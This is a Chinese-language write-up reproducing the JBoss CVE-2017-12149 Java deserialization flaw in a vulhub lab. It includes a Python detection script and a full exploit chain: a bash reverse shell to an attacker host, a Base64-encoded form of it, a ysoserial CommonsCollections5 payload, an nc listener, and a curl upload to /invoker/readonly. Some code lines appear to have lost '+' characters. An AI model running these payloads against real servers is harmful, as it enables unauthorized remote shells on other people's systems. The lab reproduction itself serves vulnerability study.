0x01 漏洞简介
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
影响版本:
- JBoss 5.x
- JBoss 6.x
0x02 漏洞环境
执行下面命令启动漏洞环境:
代码语言:javascript复制cd /vulhub/jboss/CVE-2017-12149
sudo docker-compose up -d
首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/
即可看到JBoss默认页面。
0x03 漏洞复现
1. 漏洞检测POC
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化。
使用POC脚本进行漏洞检测
代码语言:javascript复制python cve-2017-12149_poc.py http://192.168.126.130:8080/
POC脚本源码如下:
代码语言:javascript复制##!/usr/bin/python
#-*- coding:utf-8 -*-
import requests
import sys
if len(sys.argv)!=2:
print(' --------------------------------------------------------------- ')
print(' DES: by zhzyker as https://github.com/zhzyker/exphub ')
print(' --------------------------------------------------------------- ')
print(' USE: python <filename> <url> ')
print(' EXP: python cve-2017-12149_poc.py http://freeerror.org:8080 ')
print(' VER: Jboss AS 5.X ')
print(' Jboss AS 6.X ')
print(' --------------------------------------------------------------- ')
sys.exit()
url = sys.argv[1]
vulurl = url "/invoker/readonly"
headers = {
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0",
'Accept': "*/*",
'Content-Type': "application/json",
'X-Requested-With': "XMLHttpRequest",
'Connection': "close",
'Cache-Control': "no-cache"
}
try:
r =requests.post(vulurl, headers=headers, verify=False)
e=r.status_code
except:
print ("[-] Target " url " Not CVE-2017-12149 Good Luck")
sys.exit()
if e == 500:
print ("[ ] Target " url " Find CVE-2017-12149 EXP:https://github.com/zhzyker/exphub")
else:
print ("[-] Target " url " Not CVE-2017-12149 Good Luck")
exit()
2. 编写反弹shell
代码语言:javascript复制# 1. 设置好要接收shell的主机ip和端口号:
bash -i >& /dev/tcp/192.168.126.128/7777 0>&1
# 2. 将第一步中的代码进行Base64加密:
YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx
# 3. 将第二步中的代码添加到如下位置:
bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
# 4. 使用ysoserial生成序列化数据,并重定向到exp.ser文件
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" > exp.ser
Tips1:ysoserical用法:java -jar ysoserial.jar [payload] “[command]”
Tips2:由于目标jdk版本过高,因此这里使用的利用库为CommonsCollections5(具体根据对方jdk版本选择)
Tips3:我们使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码再使用
3. 获取目标shell
在接收shell的攻击主机上开启端口监听
代码语言:javascript复制nc -lvp 7777
通过二进制POST方式发送攻击载荷exp.ser
到 /invoker/readonly
curl http://192.168.126.130:8080/invoker/readonly --data-binary @exp.ser
成功接收到反弹的shell: